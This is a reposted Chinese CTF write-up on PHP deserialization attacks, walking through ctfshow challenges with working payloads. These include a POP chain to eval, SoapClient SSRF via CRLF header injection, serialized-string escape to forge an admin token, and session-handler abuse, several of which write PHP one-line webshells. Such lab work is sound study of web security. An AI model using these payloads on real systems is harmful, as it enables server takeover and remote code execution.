您当前的位置:首页 > 电脑百科 > 程序开发 > 编程百科

反序列化的那些事儿

时间:2021-08-12 11:03:31  来源:  作者:星云博创

0×00:前言

各种CTF比赛随处可见反序列化的影子,让我们来了解一下!

阅读本文,需要了解php中类的基础知识

0×01:正文

了解反序列化,必先了解其魔法函数

 1. __sleep() //在对象被序列化之前运行
 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
 3. __construct() //当对象被创建时,会触发进行初始化
 4. __destruct() //对象被销毁时触发
 5. __toString()://当一个对象被当作字符串使用时触发
 6. __call() //在对象上下文中调用不可访问的方法时触发
 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
 9. __set() //用于将数据写入不可访问的属性
 10. __isset() //在不可访问的属性上调用isset()或empty()触发
 11. __unset() //在不可访问的属性上使用unset()时触发
 12. __toString() //把类当作字符串使用时触发
 13. __invoke() //当脚本尝试将对象调用为函数时触发

然后了解其属性

序列化对象:
private变量会被序列化为:x00类名x00变量名
protected变量会被序列化为: x00*x00变量名
public变量会被序列化为:变量名

让我们跟随CTF题目,来感受反序列化独有的的"魅力"

01

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public function checkVip(){
    return $this->isVip;
 }
  public function login($u,$p){
return $this->username===$u&&$this->password===$p;
 }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
   }else{
      echo "no vip, no flag";
   }
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);  
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
   }
 }else{
    echo "no vip,no flag";
 }
}

通读代码

$username&&$password存在进入反序列化 $_COOKIE['user']

(cookie为可控字段)

随后便调用了login方法

 public function login($u,$p){
         return $this->username===$u&&$this->password===$p;

只有类中$username和$password等于我们传入的值 ,即可返回true

进入第二个if 调用了checkVip方法

 public function checkVip(){
         return $this->isVip;
      }

这里定义类中isVip属性为true即可

便调用了其vipOneKeyGetFlag方法 echo除了flag

思路来了,构造payload

 <?
 class ctfShowUser{
        public $isVip=true;
        public $username='a';
        public $password='a';
 }
 $o=new ctfShowUser();
 echo serialize($o);
 ?>

?username=a&passowrd=a

cookie便传值我们构造出的payload

02

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __construct(){
    $this->class=new info();
 }
  public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
 }
  public function __destruct(){
    $this->class->getInfo();
 }
}
class info{
  private $user='xxxxxx';
  public function getInfo(){
    return $this->user;
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

看到这么长的代码,我们可以简化一下

众所周知反序列化找的就是魔法函数

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __destruct(){
    $this->class->getInfo();
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

思路

$username和$password存在进入反序列化

backDoor类里边有eval危险函数,我们要将其利用

看到__destruct函数,当类反序列化结束销毁时会将其调用

   public function __destruct(){
         $this->class->getInfo();
      }

看到里边正好有getInfo()函数

我们只需要将$this->class=new backDoor()就可以调用backDoor类中的getInfo()函数 进行eval利用

故构造payload

<?
class ctfShowUser{
  private $class;
  public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
  private $code;
  public function __construct(){
  $this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
 }
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

?username=xxx&password=xxx

cookie:user=传我们构造的payload即可写入一句话木马

03 原生类利用

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

访问flag.php需要

X_FORWARDED_FOR===127.0.0.1,127.0.0.1

由于用了CF代理不能构造X_FORWARDED_FOR

故只能用SoapClient原生类来进行SSRF请求

那什么叫SoapClient类呢?

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息)来触发__call方法,再利用一个CRLF注入进行post传输构造SSRF请求

那什么叫CRLF注入呢?

贴上大佬链接CRLF

故构造payload

 <?php
 $payload= array(
            'user_agent' => "Flowers_BeiChengrnx-forwarded-
 for:127.0.0.1,127.0.0.1rnContent-type:Application/x-www-form-
 urlencodedrnContent-length:13rnrntoken=ctfshow",
            'uri' => 'Flowers_BeiCheng',
            'location' => 'http://127.0.0.1/flag.php'
         )
 $a = new SoapClient(null,$payload);
 $o = serialize($a);
 echo urlencode($o);

04

class ctfshowvip{
  public $username;
  public $password;
  public $code;
public function __wakeup(){
  if($this->username!='' || $this->password!=''){
    die('error');
 }
}
public function __invoke(){
  eval($this->code);
}
public function __sleep(){
  $this->username='';
  $this->password='';
}
public function __unserialize($data){
  $this->username=$data['username'];
  $this->password=$data['password'];
  $this->code = $this->username.$this->password;
}
public function __destruct(){
  if($this->code==0x36d){
    file_put_contents($this->username, $this->password);
 }
}
}
unserialize($_GET['vip']);

__unserialize和__wake同时存在,则__unserialize生效 __wake失效

通读代码

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)

$this->code和0x36d会转换为数字进行比较 0x36d==877

故构造payload

<?php
class ctfshowvip{
  public $username;
  public $password;
  public function __construct(){
    $this->username='877.php';
    $this->password='<?php @eval($_POST[1]);?>';
 }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>

05 字符串逃逸

error_reporting(0);
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}
highlight_file(__FILE__);

根据提示还有个message.php

highlight_file(__FILE__);
include('flag.php');
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
 $this->to = $t;
 }
}
if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
    echo $flag;
 }
}

触发点在message.php

我们要让$msg->token=='admin',

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

可以看到控制不了$token 可以控制$from $msg $to

传一个正常反序列化内容

O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我们需要构造这样的反序列化内容

 O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}

这时候就要传入

 ";s:5:"token";s:5:"admin";} //27个字符

传入的内容需要逃逸出来

 if(isset($f) && isset($m) && isset($t)){
     $msg = new message($f,$m,$t);
     $umsg = str_replace('fuck', 'loveU', serialize($msg));
     setcookie('msg',base64_encode($umsg));
     echo 'Your message has been sent';
 }

fuck变成loveU 四个字符变成五个字符

每次变多一个,一共需要27个字符

构造payload

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
 ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

06 session反序列化

反序列化处理器

| 处理器           | 对应的存储格式                    
   |
| ------------------------- | :-------------------------------------------------
---------- |
| php            | 键名+竖线+经过serialize()函数反序列化处理的值     
   |
| php_binary         | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列
化处理的值 |
| php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组         
   |
#### 安全问题
如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法
正确反序列化,通过特殊的构造,甚至可以伪造任意数据
session.auto_start=On
当配置选项session.auto_start=On,会自动注册Session会话,因为该过程是发生在脚本代码执行前,所
以在脚本中设定的包括序列化处理器在内的session相关配选项的设置是不起作用的,因此一些需要在脚本中
设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置
需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与
php.ini中设置的不同,就会出现安全问题

访问/www.zip下载源码

通读代码

index.php

反序列化的那些事儿

 

17行,$_SESSION['limit']首先是为空 通过后面的$_COOKIE['limit']便可以控制$_SESSION['limit']

如果无法控制,利用
PHP_SESSION_UPLOAD_PROGRESS来控制session内容

查看check.php

发现包含了inc/inc.php

反序列化的那些事儿

 

跟进inc/inc.php

反序列化的那些事儿

 

默认配置为php进行反序列化的

那php反序列化什么样的呢?

键名+竖线+经过serialize()函数反序列化处理的值

只有 | 后面的内容才会被反序列化

漏洞关键位置

反序列化的那些事儿

 

发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell

思路

  • 前提:由于php.ini默认配置为php_serialize
  • 利用index.php控制SESSION文件写入SESSION为序列化后的内容
  • 再利用check.php触发反序列化(触发|后面序列化后的内容)

故构造payload

 class User{
     public $username;
     public $password;
     function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
 }
 }
 $o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
 echo base64_encode('|'.serialize($o));

访问index.php改cookie limit为payload 再次访问写入

访问check.php触发

最后访问log-huahua.php

成功写入

反序列化的那些事儿

 

0×02:总结

介绍了这么多,相信大家已经对反序列化有了初步的了解

要学会尝试构造POP链复现TP Yii等框架的链子哦



Tags:反序列化   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
0&times;00:前言各种CTF比赛随处可见反序列化的影子,让我们来了解一下!阅读本文,需要了解PHP中类的基础知识0&times;01:正文了解反序列化,必先了解其魔法函数 1. __sleep() //在对...【详细内容】
2021-08-12  Tags: 反序列化  点击:(81)  评论:(0)  加入收藏
前言phar反序列化漏洞很久之前就开始接触了;因为当时出了点问题导致一直无法成功,所以当时直接去学习其他的漏洞了;今天觉得是时候把这个漏洞补上去了;漏洞成因phar文件会以序列...【详细内容】
2021-07-16  Tags: 反序列化  点击:(99)  评论:(0)  加入收藏
0&times;01:序列化基本概念 序列化:将对象写入IO流中 反序列化:从IO流中恢复对象 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通...【详细内容】
2021-06-11  Tags: 反序列化  点击:(151)  评论:(0)  加入收藏
本文涉及的实操——实验:PHP反序列化漏洞实验(合天网安实验室)https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=toutia...【详细内容】
2020-11-24  Tags: 反序列化  点击:(84)  评论:(0)  加入收藏
最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDecoder反序列化导致漏洞,但是网上大部分的文章都只讲到了触发XMLDecoder部分就结束了,并没有讲为什么XMLDec...【详细内容】
2020-08-20  Tags: 反序列化  点击:(122)  评论:(0)  加入收藏
CVE-2020-7961_Liferay Portal反序列化过程复现。漏洞说明Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方...【详细内容】
2020-08-10  Tags: 反序列化  点击:(148)  评论:(0)  加入收藏
本文首发于“合天智汇”公众号 作者:Fortheone看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先...【详细内容】
2020-07-30  Tags: 反序列化  点击:(28)  评论:(0)  加入收藏
写在前面今天收到运维人员的反馈,说程序有漏洞,如下图: 哎,不查不知道,一查吓一跳。发现两个问题!!Apache Shiro是一个强大且易用的Java安全框架,被用来执行身份验证、授权、密码...【详细内容】
2020-07-30  Tags: 反序列化  点击:(3295)  评论:(0)  加入收藏
Liferay Portal CE是一款用来快速构建网站的开源系统。在7.2.1 CE GA2之前的Liferay Portal中,对不可信数据的反序列化允许远程攻击者通过JSON web服务(JSONWS)执行任意代码...【详细内容】
2020-07-20  Tags: 反序列化  点击:(159)  评论:(0)  加入收藏
前言作为一个Web菜鸡,我之前和师傅们参加了红帽杯,奈何只有0输出,当时只知道是thinkphp5.2的反序列化漏洞,但是感觉时间不够了,也就没有继续做下去。只有赛后来查漏补缺了,也借...【详细内容】
2020-07-19  Tags: 反序列化  点击:(116)  评论:(0)  加入收藏
▌简易百科推荐
摘 要 (OF作品展示)OF之前介绍了用python实现数据可视化、数据分析及一些小项目,但基本都是后端的知识。想要做一个好看的可视化大屏,我们还要学一些前端的知识(vue),网上有很多比...【详细内容】
2021-12-27  项目与数据管理    Tags:Vue   点击:(1)  评论:(0)  加入收藏
程序是如何被执行的&emsp;&emsp;程序是如何被执行的?许多开发者可能也没法回答这个问题,大多数人更注重的是如何编写程序,却不会太注意编写好的程序是如何被运行,这并不是一个好...【详细内容】
2021-12-23  IT学习日记    Tags:程序   点击:(9)  评论:(0)  加入收藏
阅读收获✔️1. 了解单点登录实现原理✔️2. 掌握快速使用xxl-sso接入单点登录功能一、早期的多系统登录解决方案 单系统登录解决方案的核心是cookie,cookie携带会话id在浏览器...【详细内容】
2021-12-23  程序yuan    Tags:单点登录(   点击:(8)  评论:(0)  加入收藏
下载Eclipse RCP IDE如果你电脑上还没有安装Eclipse,那么请到这里下载对应版本的软件进行安装。具体的安装步骤就不在这赘述了。创建第一个标准Eclipse RCP应用(总共分为六步)1...【详细内容】
2021-12-22  阿福ChrisYuan    Tags:RCP应用   点击:(7)  评论:(0)  加入收藏
今天想简单聊一聊 Token 的 Value Capture,就是币的价值问题。首先说明啊,这个话题包含的内容非常之光,Token 的经济学设计也可以包含诸多问题,所以几乎不可能把这个问题说的清...【详细内容】
2021-12-21  唐少华TSH    Tags:Token   点击:(9)  评论:(0)  加入收藏
实现效果:假如有10条数据,分组展示,默认在当前页面展示4个,点击换一批,从第5个开始继续展示,到最后一组,再重新返回到第一组 data() { return { qList: [], //处理后...【详细内容】
2021-12-17  Mason程    Tags:VUE   点击:(14)  评论:(0)  加入收藏
什么是性能调优?(what) 为什么需要性能调优?(why) 什么时候需要性能调优?(when) 什么地方需要性能调优?(where) 什么时候来进行性能调优?(who) 怎么样进行性能调优?(How) 硬件配...【详细内容】
2021-12-16  软件测试小p    Tags:性能调优   点击:(19)  评论:(0)  加入收藏
Tasker 是一款适用于 Android 设备的高级自动化应用,它可以通过脚本让重复性的操作自动运行,提高效率。 不知道从哪里听说的抖音 app 会导致 OLED 屏幕烧屏。于是就现学现卖,自...【详细内容】
2021-12-15  ITBang    Tags:抖音防烧屏   点击:(23)  评论:(0)  加入收藏
11 月 23 日,Rust Moderation Team(审核团队)在 GitHub 上发布了辞职公告,即刻生效。根据公告,审核团队集体辞职是为了抗议 Rust 核心团队(Core team)在执行社区行为准则和标准上...【详细内容】
2021-12-15  InfoQ    Tags:Rust   点击:(24)  评论:(0)  加入收藏
一个项目的大部分API,测试用例在参数和参数值等信息会有很多相似的地方。我们可以复制API,复制用例来快速生成,然后做细微调整既可以满足我们的测试需求1.复制API:在菜单发布单...【详细内容】
2021-12-14  AutoMeter    Tags:AutoMeter   点击:(20)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条